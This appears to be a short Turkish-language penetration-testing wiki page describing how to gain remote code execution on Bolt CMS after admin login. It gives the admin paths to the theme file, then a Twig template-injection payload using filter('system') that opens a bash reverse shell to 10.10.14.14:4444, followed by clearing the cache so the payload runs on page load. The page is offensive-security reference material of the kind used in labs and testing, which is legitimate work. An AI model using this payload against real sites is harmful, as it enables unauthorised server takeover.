Bolt CMS
RCE
Admin olarak giriş yaptıktan sonra (giriş istemine erişmek için /bot'a gidin), Bolt CMS'de RCE alabilirsiniz:
Configuration
->View Configuration
->Main Configuration
seçin veya URL yoluna/bolt/file-edit/config?file=/bolt/config.yaml
gidinTema değerini kontrol edin
File management
->View & edit templates
seçinÖnceki adımda bulunan tema tabanını seçin (
base-2021
bu durumda) veindex.twig
seçinBenim durumumda bu URL yolunda /bolt/file-edit/themes?file=/base-2021/index.twig
Bu dosyada template injection (Twig) ile yüklemenizi ayarlayın, örneğin:
{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}
Ve değişiklikleri kaydedin
Maintenance
->Clear the cache
kısmında önbelleği temizleyinSayfaya tekrar normal bir kullanıcı olarak erişin ve yükleme çalıştırılmalıdır
Last updated